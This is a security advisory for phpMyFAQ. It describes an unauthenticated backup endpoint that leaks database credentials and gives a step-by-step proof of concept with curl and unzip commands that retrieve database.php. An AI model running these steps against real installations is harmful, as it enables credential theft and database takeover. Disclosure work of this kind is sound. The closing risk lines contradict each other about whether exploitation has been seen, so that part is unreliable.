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GHSA-9cg9-4h4f-j6fg
No affected components available
Summary
An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.
Details
The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.
Relevant code paths:
- Rewrite rule exposing the endpoint:
phpmyfaq/.htaccess:RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]
- Controller implementation:
phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php→backup()- No call to
hasValidToken(),userIsAuthenticated(), or any permission check
- No call to
- Backup creation:
phpmyfaq/src/phpMyFAQ/Setup/Update.php→createConfigBackup()- Writes the ZIP into the config directory and returns a public URL under
content/core/config/
- Writes the ZIP into the config directory and returns a public URL under
PoC
Replace BASE_URL with your instance URL.
- Trigger config backup generation without authentication:
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
-H "Content-Type: text/plain" \
--data "4.1.0-RC"
Expected result: 200 OK with JSON containing backupFile.
- Copy the
backupFileURL from the JSON response and download it (still without authentication):
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
- Verify sensitive content exists in the ZIP:
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php
Observed: database.php is included and contains DB host/user/password.
Impact
- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
- Who is impacted: Any internet-exposed phpMyFAQ installation where the default
.htaccessrewrite rules are active and the endpoint is reachable. - Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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